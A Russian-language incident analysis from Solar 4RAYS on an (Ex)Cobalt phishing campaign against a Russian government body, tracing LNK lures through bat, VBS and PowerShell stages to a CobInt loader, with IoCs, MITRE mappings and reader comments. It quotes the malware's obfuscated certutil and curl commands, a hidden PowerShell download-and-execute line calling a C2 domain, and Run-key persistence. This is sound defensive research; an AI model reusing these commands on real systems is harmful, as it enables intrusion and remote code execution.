Недавно мы запустили блог центра исследования киберугроз Solar 4RAYS, где делимся аналитикой об актуальных угрозах, результатами расследований инцидентов, полезными инструментами для реагирования на кибератаки и другими практическими материалами. Некоторые исследования из блога мы будем размещать также здесь, и вот одно из них.
В ходе расследования недавней атаки на одно из государственных учреждений мы обнаружили новые индикаторы, которые с высокой долей вероятности можно атрибутировать преступной группировке (Ex)Cobalt (также известной как Comet/Shadow/Twelve). Группировка ранее преследовала финансовую выгоду, но затем сменила вектор и стала заниматься атаками, свойственными кибершпионам. Мы выяснили, что с недавних пор злоумышленники стали использовать новую сетевую инфраструктуру и изменили технику развертывания главной вредоносной нагрузки.
Также нам удалось обнаружить несколько недавно зарегистрированных доменов, имеющих отдаленную связь с группировкой: они пока не использовались в атаках, но требуют пристального внимания, так как могут быть задействованы злоумышленниками в ближайшем будущем.
Первичный вектор заражения
В процессе исследования атаки на заказчика мы обнаружили фишинговые письма с прикрепленными архивами «Согласование сценария.rar», «Сценарий.rar». Внутри архивов находились LNK-файлы «Document_Microsoft_Word.lnk», в которых была применена любопытная техника. В overlay ярлыков содержится base64-кодированный bat-скрипт, который декодируется certutil и запускается.
В образце Document_Microsoft_Word.lnk (MD5: 375a82ae45a8041fc02a648f19154501) содержится следующая команда для запуска:
Arguments: /v /c set c="%cd%\Document_Microsoft_Word.lnk"&(if not exist "!c!" (for /f "tokens=*" %l in ('where /r "%localappdata%" Document_Microsoft_Word.?nk') do set c=%l))&>nul set e=t&set h=b&set q=%temp%&cer!e!util -decode "!c!" !q!\yoedfeyeoid.!h!at&start /b !q!\yoedfeyeoid |
С ее помощью извлекается и запускается скрипт yoedfeyeoid.bat.
В образце Document_Microsoft_Word.lnk (MD5: 3de34143d90ad3d74ae2c82d91f5ca42) команда для запуска выглядит чуть иначе:
Arguments: /v /c set d="%cd%\Document_Microsoft_Word.lnk"&(if not exist "!d!" (for /f "tokens=*" %s in ('where /r "%localappdata%" Document_Microsoft_Word.l?k') do set d=%s))&>nul set u=c&set p=b&set t=%temp%&!u!ertutil -decode "!d!" !t!\hutpjsav.!p!at&start /b !t!\hutpjsav |
Но результат тот же – извлечение и запуск скрипта hutpjsav.bat, который является первой стадией атаки после заражения через LNK-файл.
Общая схема атаки выглядит одинаково во всех изученных нами случаях. Рассмотрим ее на примере архива «Сценарий.rar» (MD5: 1c2c01c22712e0ed3444b5aae5c5dfac), который жертва получила по электронной почте:
Далее мы подробнее изучим цепочку событий, произошедших после запуска LNK-файла.
I стадия. Bat-скрипт
Извлекаемый bat-скрипт содержит в себе base64-кодированные строки, из которых собираются скрипты VBS (Visual Basic Script) и PS (PowerShell), а также docx-приманка (%TEMP%\Document_Microsoft_Word.docx). Для их сборки используется текстовый файл, который загружается с предположительно взломанного веб-сайта (hxxps://aquatech72[.]ru). Файл задает правила конкатенации строк для корректного составления вышеупомянутых файлов, используемых для следующих стадий:
curl.exe "https://aquatech72[.]ru/ebboyeewf.txt" -o %mrb%>nul curl.exe "https://aquatech72[.]ru/yyiygui.txt" -o %unc%>nul |
Команды для загрузки текстового файла, определяющего сборку скриптов
Base64-кодированные строки, имеющиеся в bat-скрипте, извлекаются с использованием утилиты certutil.exe.
Bat-скрипт также осуществляет закрепление извлеченных скриптов VBS и PS в ключе реестра по адресу HKLM|HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. Наименование ключа – «XboxGamingOveray», его значение – «C:\WINDOWS\System32\wscript.exe C:\ProgramData\Packagr\XboxGamingOverlay.vbs C:\ProgramData\Packagr\».
Также в процессе исследования мы увидели другой ключ реестра – «Dathanges» – со значением «wscript.exe C:\ProgramData\Packagd\XboxGamingOverlay.vbs».
После успешной сборки следующих стадий осуществляется запуск VBS-скрипта, который, в свою очередь, запускает собранный PowerShell.
II стадия. VBS-скрипт
Вторая стадия представляет собой небольшой скрипт, единственное назначение которого – запуск ранее собранного PowerShell-скрипта следующей командой (после деобфускации):
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe -ex bypass -NvLogo -NonInteractive -NoProfile -WindowStyle Hidden -File "XboxGamingOverlay.ps1" |
III стадия. PowerShell-скрипт
Обфусцированные PowerShell-скрипты загружают в память вредоносный модуль CobInt и запускают его. Имеются две версии CobInt – x86 и x64, – они обе загружаются с одного и того же удаленного сервера: hxxps://netstaticpoints[.]com. На момент исследования нагрузка была недоступна, но, основываясь на характерном шелл-коде, который мы ранее уже исследовали и который в том случае предназначался для загрузчика CobInt, можно предположить, что и здесь основной нагрузкой с высокой долей вероятности был именно CobInt.
Атаки с использованием CobInt в индустрии атрибутируются группировке Cobalt, детальное описание самого вредоносного модуля было ранее опубликовано экспертами из ИБ-сообщества.
Анализ файлов LNK и поиск аналогичных образцов
Файлы ярлыков являются кладезем информации для исследователя, так как содержат множество полезных метаданных, таких как MAC-адрес девайса, на котором файл был создан. По итогам анализа двух файлов Document_Microsoft_Word.lnk, полученных в ходе нашего расследования, было установлено, что они созданы на одном и том же хосте в одно и то же время:
Drive type: Fixed storage media (Hard drive) Serial number: BAF595C8 Machine ID: laptop-fj0h336p MAC Address: 98:43:fa:4a:9d:be MAC Vendor: (Unknown vendor) Creation: 2023-11-15 09:06:39
Volume Droid: 35ed6538-2cde-46bc-a3a8-2414e4c1c6cd Volume Droid Birth: 35ed6538-2cde-46bc-a3a8-2414e4c1c6cd File Droid: 496b729b-8396-11ee-9a39-9843fa4a9dbe File Droid birth: 496b729b-8396-11ee-9a39-9843fa4a9dbe |
В результате поиска по открытым источникам мы обнаружили файл «Zapros_13-2-16442-upr_ot_25_08_2023.lnk» (MD5: 0da63b385b2b6650dd6acf3b511e5ac8) с таким же Machine ID (laptop-fj0h336p). Он ранее был замечен и упомянут коллегами из ИБ-отрасли в контексте описания активности (Ex)Cobalt. При этом схема извлечения полезной нагрузки и запуска CobInt в расследуемом нами инциденте была изменена наряду с сетевой инфраструктурой.
Аналогичным образом был обнаружен еще один файл «CamScanner_24.11.2023_10.32.lnk» (MD5: 939cc38ef64a3e5148d889fa4423d464) и содержащий его архив «DOC009_2.rar». Детальная информация по всем описываемым файлам может быть найдена в секции IoC.
Другие файлы, участвовавшие в атаке
В процессе атаки также использовались легитимные файлы dism.exe (MD5: 472646bd684bcaac510be7f65f9a08ab), которые предположительно были нужны для эксплуатации техники DLL Sideloading:
C:\Intel\dism.exe
C:\Intel\Log\dism.exe
C:\hp\dism.exe
Также в атаке участвовали файлы, о которых нам известны только имена и SHA256 хеш-суммы, приведенные в разделе индикаторов. Примечательно, что имена файлов отсылают к продуктам Kaspersky и эта техника мимикрирования ранее уже была замечена за группировкой (Ex)Cobalt:
C:\hp\bec.exe
C:\hp\kas.exe
C:\hp\kis.exe
C:\hp\new.exe
C:\hp\prt.exe
C:\hp\prt2.exe
Среди этих файлов есть один, к которому мы получили доступ – C:\hp\kasi.exe. Он представляет собой модифицированную версию утилиты Chisel с открытым исходным кодом для создания TCP/UDP-туннелей через HTTP.
Модификации главным образом коснулись ее адаптации для использования в атаке:
был оставлен только клиент, убрана серверная составляющая утилиты;
для запуска оригинальной утилиты нужно указывать адрес С2-сервера в аргументах командной строки, злоумышленники встроили эти аргументы в саму утилиту;
изменены имена функций, при этом строки не обфусцированы (C2 не зашифрован и хранится в открытом виде);
убрана функция generatePidFile, чтобы не привлекать лишнее внимание созданием файла с PID процесса утилиты;
-
убраны все строки с комментариями в коде.
В скомпрометированной системе также был обнаружен скрипт 1.bat, который использовался для загрузки PowerShell-скрипта 004.ps1 с удаленного сервера techcname[.]com.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -w hidden -c iex ((New-Object Net.WebClient).DownloadString('hxxps://techcname[.]com/004.ps1')) |
При этом хеш-суммы загружаемого скрипта совпадают с хеш-суммами ранее проанализированного файла «\Packagd\XboxGamingOverlay.ps1». Мы полагаем, что это альтернативный вектор, который злоумышленники использовали для повторного заражения в ручном режиме.
Анализ сетевых индикаторов
Мы изучили серверы, используемые в исследованной атаке:
Domain |
IP |
Reg. date |
First seen |
netstaticpoints[.]com |
45.11.181[.]152 |
2023-11-23 |
2023-11-23 |
techcname[.]com |
172.67.190[.]233 104.21.84[.]96 |
2023-11-23 |
2023-11-23 |
Оба домена зарегистрированы спустя неделю после выхода отчета о группировке, что могло сподвигнуть ее на перемещение своих ресурсов.
На момент исследования оба сервера еще были активны.
Примечательно, что домены были зарегистрированы с помощью регистратора Namecheap практически в одно и то же время с разницей в 4 секунды. Мы проанализировали другие домены, зарегистрированные в Namecheap примерно в то же время, и нашли несколько подозрительных:
Domain |
Registration date |
techcname[.]com |
2023-11-23 12:18:22 |
netstaticpoints[.]com |
2023-11-23 12:18:26 |
swift-notice[.]store |
2023-11-23 12:18:32 |
swift-notice[.]online |
2023-11-23 12:18:38 |
swift-notice[.]xyz |
2023-11-23 12:18:45 |
swift-notice[.]space |
2023-11-23 12:18:47 |
swift-notice[.]site |
2023-11-23 12:18:51 |
На момент написания отчета найденные домены были припаркованы, но пока не введены в эксплуатацию. Их нельзя напрямую атрибутировать к (Ex)Cobalt, и вероятность их причастности именно к этой группировке мы оцениваем как низкую, тем не менее эти домены требуют мониторинга на предмет потенциальной вредоносной активности.
Заключение
Исследованный нами инцидент в очередной раз доказывает важность использования проактивных средств защиты, не привязанных к конкретным индикаторам, которые могут быть изменены злоумышленниками уже в следующей атаке. Группировка (Ex)Cobalt по-прежнему активна и имеет особый интерес к государственным учреждениям в России. И вряд ли такие атаки прекратятся в ближайшее время.
В отчете мы предоставили список дополнительных индикаторов, которые продолжим отслеживать на предмет появления потенциальной вредоносной активности.
Ознакомиться с другими исследованиями в блоге 4RAYS можно по ссылке.
IoC
Файловые индикаторы
Путь |
MD5 |
SHA1 |
SHA256 |
Согласование сценария.rar |
8773ce3c1e4000f6db41a7bf0da625ad |
052d62da71a71c2ce5a5cadfbec02649c9117c43 |
ce818ad10e625fa12f5d8ad4ad78bf73b8b445d996cc11ed17ef98878ec7666f |
Сценарий.rar |
1c2c01c22712e0ed3444b5aae5c5dfac |
0920fd89fd4277b918e337e52ecf751606341815 |
7f6e30b0246ccfeb0c0925c7192235ddc99d46e0b07404a939b57e68819597e1 |
Document_Microsoft_Word.lnk |
375a82ae45a8041fc02a648f19154501 |
409209b69ccc95a79ee1848bc5df8834b01b9aed |
b4320f83607fb0e49d75bd8a867c52b672e24bb535c053c3fb401d6e45b2bd3b |
Document_Microsoft_Word.lnk |
3de34143d90ad3d74ae2c82d91f5ca42 |
3a5dc97a27a31f7077d6c6551269f7632f307162 |
30692be59256158f95888f11c0ff67807c3cd734448daf7b62832e4d02ffe869 |
C:\Users\«Username»\AppData\Local\Temp\hutpjsav.bat |
4a40da404e486ac0e676e651a25e8389 |
e7756eaf52ef16640742810581059cb54b04c6a8 |
b8ff94ea1ad2c8d8c9fa7581dee0ad23ded73de7ef3fba123cdfa84b39581143 |
C:\Users\«Username»\AppData\Local\Temp\yoedfeyeoid.bat |
831c266619f229075fc3660e144de50b |
a81f1a2efa4a8898c1694b3a3a4699e9cb87347e |
898252ae7eea656cfbd7337efc3066ecf9fc3ac4211ddffdd386a95adcd659cf |
004.ps1, C:\ProgramData\Intell\Intellpui.ps1, C:\ProgramData\Packagd\XboxGamingOverlay.ps1 |
56665014a0e5b3d58b363e01e83b3f9f |
73dae2c0f466bdfc54c15f83a50d168943240152 |
46dfa8948537057c2f5ae881582b83678eb18965155de24cb632cbb1a7298060 |
C:\ProgramData\Packagr\XboxGamingOverlay.ps1 |
6eaf7f630e11a9f78cbe31d2d22858df |
538cce6325be62f533894b77d1e4cb9ae2a0cadd |
3adcf119aaaa93ed795d6d5685bb891a4054f056723e72574c48a95a78eca122 |
C:\ProgramData\Intell\Intellpui.vbs |
ce2c6a4dd0a79a9e89b2c3195eee6727 |
8337e1b0abcc1b195d69ade0f7edadf8fb418cda |
14e5723d246fcf50a05cdfd6a1bb0e30ca4aca65938c98fcaced6a8f5c886596 |
C:\hp\kasi.exe |
5fc4eef37ec583caac5a71918984af53 |
630bab1432c0224c111cf81686d284d81ce35b1f |
7283a99550bb7806fd416e773baa2c542149ccb8d55e7e3d6f06d066681d7d06 |
C:\hp\bec.exe |
- |
- |
fef8828f4a0174f146ee4de9bac9a2c085dcd1984c98b65e54ec5c0692187bf0 |
C:\hp\kas.exe |
- |
- |
d11def8ac9f3af92c4e67e72e3da4fb2ae36dca4f34661ee5c03ff3f7330655a |
C:\hp\kis.exe |
- |
- |
a12c3ba6ae64af819f26bd82401dc9d65bc71fe3ba3889eeefc636af39511288 |
C:\hp\new.exe |
- |
- |
2e2476242a182e334d28388ffa432cd7c79cc5fbcfd230de75cd3e5717088de5 |
C:\hp\prt.exe |
- |
- |
390dd5ec458cc289b9498313d8b74d6f2c84407c2539b745950cfd9d59f608a1 |
C:\hp\prt2.exe |
- |
- |
d47eb1f6a3a03e7240462f41250c6df37f73889639c34a46ce965513b6cb0a63 |
|
f84e409b4ca80e349a19fa7555177379 |
36f05bc39cac762fc2afd1e8444efb35f78dc97e |
723a1240e7042c87e3ca749335d9d525da566eccc0113cd5fecb92e6cc2a4552 |
Zapros_13-2-16442-upr_ot_25_08_2023.lnk |
0da63b385b2b6650dd6acf3b511e5ac8 |
d90e2acca4af042fe8a76f428af6ca742224409d |
ec825d1321ad1d2f819c83301c5ff1970192d45b017a53177507f5e7716bceb8 |
LetsIntell___.ps1, LetsIntell.ps1 |
d5dbce918c46e9f86a35be2893c9efb2 |
2bc2b4eb37d91969f031deddac51ec0e25d9fcc7 |
7a6c75d038d7a47f87a3694bb9718b1e97a2b4aa8a9ac0fe24eeb074fd043b5c |
|
939cc38ef64a3e5148d889fa4423d464 |
583662360a3a3d400a6af62032800dae738555f7 |
8df4252241140c36fc7e5042de7fcf3544572dfc8fdc04f054559efd32d6c710 |
DOC009_2.rar |
d3bb9583db450daa24f50afcea474ddc |
f4f1895bce5194e26b1a8f8dc02400f8aebc1a1d |
24de8eda46c83e5f713ed7e57fb21100907ce7f6ddac1135530ea6dd45afb02b |
Сетевые индикаторы
Индикатор |
Описание |
88.218.62[.]79 |
Командный адрес прокси Chisel |
aquatech72[.]ru |
Предположительно взломанный ресурс, откуда загружается txt для правильной сборки скриптов |
netstaticpoints[.]com |
Командный сервер, на который обращаются ps1-скрипты для получения CobInt, а также предположительно командный сервер для CobInt |
techcname[.]com |
Командный сервер, откуда загружался файл 004.ps1 |
MITRE TTPs
Тактика |
Техника |
Описание |
Initial Access |
Phishing: Spearphishing Attachment T1566.001 |
Проникновение через фишинг с вложениями |
Execution |
User Execution: Malicious File |
Выполнение нагрузки требует запуска lnk-файла пользователем |
Command and Scripting Interpreter: PowerShell T1059.001 |
Применение PowerShell-скриптов |
|
Command and Scripting Interpreter: Visual Basic ID: T1059.005 |
Применение скриптов Visual-Basic |
|
Command and Scripting Interpreter: Windows Command Shell ID: T1059.003 |
Применение командных bat-скриптов |
|
Persistence |
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1547.001 |
Закрепление с использованием \Run-ключей |
Defense Evasion |
Obfuscated Files or Information: Command Obfuscation T1027.010 |
Обфускация строк и команд в скриптах |
Deobfuscate/Decode Files or Information T1140 |
Использование certutil, кодирование данных скриптов |
|
Hijack Execution Flow: DLL Side-Loading ID: T1574.002 |
Использование dism.exe для выполнения ВПО |
|
Command and Control
|
Application Layer Protocol: Web Protocols T1071.001 |
Запросы на командные адреса с использованием HTTPS |
Ingress Tool Transfer ID: T1105 |
Использование curl для загрузки с командного адреса файлов |
|
Proxy ID: T1090 |
Использование модифицированной программы-прокси Chisel |
Авторы: команда цифровой криминалистики и реагирования на инциденты (DFIR) центра исследования киберугроз Solar 4RAYS, ГК «Солар»
jackcrane
посмотрите внимательнее. команда там д.быть "cmd.exe" или "cmd" или "%COMSPEC%", а то что вы написали - ее аргументы.
ps: кто знает, с какой версии виндовс curl.exe вошел в стандартную поставку ?
SolarSecurity Автор
Здравствуйте. Спасибо за вашу внимательность! Внесли корректировку
jackcrane
не вижу чтобы что-то изменилось.
сделайте hex-dump обоих lnk и возможно вы увидите там то что я написал.